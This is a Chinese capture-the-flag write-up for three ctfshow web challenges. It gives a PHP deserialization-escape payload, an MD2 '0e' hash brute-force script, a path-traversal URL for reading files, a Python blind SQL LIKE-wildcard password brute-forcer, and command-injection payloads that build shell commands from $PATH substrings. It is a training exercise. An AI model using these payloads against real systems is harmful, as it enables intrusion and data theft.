ctfshow月饼杯 web_wp

web1_此夜圆

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

这里由于只能get传入一个1参数,最后经反序列化后password==='yu22x'就能拿到flag。
而1参数赋值给的是$uname,这里就涉及到了反序列化逃逸,可以参考羽师傅的文章:[0CTF 2016]piapiapia(反序列化逃逸)

#示例:
$s = 'a:1:{i:0;s:3:"abc";}de";}';
var_dump(unserialize($s));

#得出
array(1) {
  [0]=>
  string(3) "abc"
}

image-20201110223711263

也就是说,反序列化出来就会把后面的忽略掉。
此题默认password=1,反序列化后就会生成s:8:"password";i:1;
而我们可以自己构造s:8:"password";s:5:"yu22x";

尝试一下在本地传入Firebasky";s:8:"password";s:5:"yu22x";}

序列化结果

O:1:"a":2:{s:5:"uname";s:39:"Firebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}

这里由于我们传入的字符串有39位,把我们需要的password也给覆盖了

在这里插入图片描述

";s:8:"password";s:5:"yu22x";}的长度为30,而每输入一个Firebasky被替换成Firebaskyup,长度保持不变,也就可以逃逸出2个字符。所以这里需要15个Firebasky就能逃逸出30个字符。
所以最终payload

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

image-20201110224929837

web2_故人心

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}
第一个都过不了还想要flag呀?!

题目hint

存在一个robots.txt

跟以前的md5类似啊。用0e开头的数,一次加密后也是0e的一个数和两次加密后也是0e的数就可以。
后来还给了hint,访问robots.txt,得到hinthint.txt,内容

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))

第一关

is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0

第一个绕过我们可以构造特别小的数字进行绕过,0.000000000000000000000000000000000000000000000001可以绕过但是这里限制了长度,所以我们就可以通过科学计数法呀
payload:1e-200
这里自己之前测试过window和linux下面的精度都一样是1e-162
但是这个长度要有限制的,即1e-162到1e-323超过323位会失效

第二关

脚本:

<?php
/*	//直接爆破
for ($i=100000000; $i < 10000000000; $i++) {
	$b=hash("md2", '0e'.$i);
	if(is_numeric($b) && substr($b,0,2)==='0e'){
		echo '$i = ';echo $i;
		echo '$b = ';echo $b;
	}

	$c=hash("md2",hash("md2", '0e'.$i));
	if(is_numeric($c) && substr($c,0,2)==='0e'){
		echo '$i = ';echo $i;
		echo '$c = ';echo $c;
	}
}
*/

for ($i=0; $i < 999999; $i++) { 
	$b=hash("md2", '0e'.$i.'024452');
	if(is_numeric($b) && substr($b,0,2)==='0e'){
		echo '$i = ';echo $i;
		echo '$b = ';echo $b;
	}

	$c=hash("md2",hash("md2", '0e'.$i.'48399'));
	if(is_numeric($c) && substr($c,0,2)==='0e'){
		echo '$i = ';echo $i;
		echo '$c = ';echo $c;
	}
}
?>

php遇到不认识的协议就会当目录处理,例如a://aaa/…/…/etc/passwd之类的。

url=a://ctfshow.com/../../../../../../../fl0g.txt

image-20201111151227964

web3_莫负婵娟

右键查看源代码发现

<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
12

看来是like注入了。
like模糊查询可以使用%匹配多个字符,_匹配单个字符。
尝试后发现%被过滤,不过下划线(_)并没有被过滤。
这里就需要猜测password的位数了,好家伙,竟然密码有32位。如果小于或大于32个_都会报wrong username or password。只有正确匹配才会显示I have filtered all the characters. Why can you come in? get out!
在这里插入图片描述
既然这样,就可以爆破出密码。
脚本

import requests
import string

strs = string.digits+string.ascii_letters
url = 'http://d274b648-0dad-4058-9b20-9a7a35424df5.chall.ctf.show/login.php'

pwd = ''
for i in range(32):
	print('i = '+str(i+1),end='\t')
	for j in strs:
		password = pwd + j + (31-i)*'_'
		data = {'username':'yu22x','password':password}
		r = requests.post(url,data=data)
		if 'wrong' not in r.text:
			pwd += j
			print(pwd)
			break

image-20201111161803740

密码为67815b0c009ee970fe4014abaa3Fa6A0

填入密码来到/P1099.php界面。
在这里插入图片描述
Normal connection表示正常连接
Abnormal connection表示异常连接;
evil input表示被过滤了。

尝试发现过滤了一堆,就连a都过滤了。那就FUZZ跑可显示的字符,看看都过滤了什么
在这里插入图片描述
小写字母全被过滤。大写字母、数字、$:没被过滤。
linux里有一个环境变量$PATH,可以用它来构造小写字母执行命令。
在这里插入图片描述

尝试构造ls得到flag.php。

ip=0;${PATH:5:1}${PATH:2:1}

在这里插入图片描述
构造nl flag.php右键查看源代码得到flag

ip=0;${PATH:14:1}${PATH:5:1} ????.???

在这里插入图片描述


参考文章:

https://blog.csdn.net/hiahiachang/article/details/108800210

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值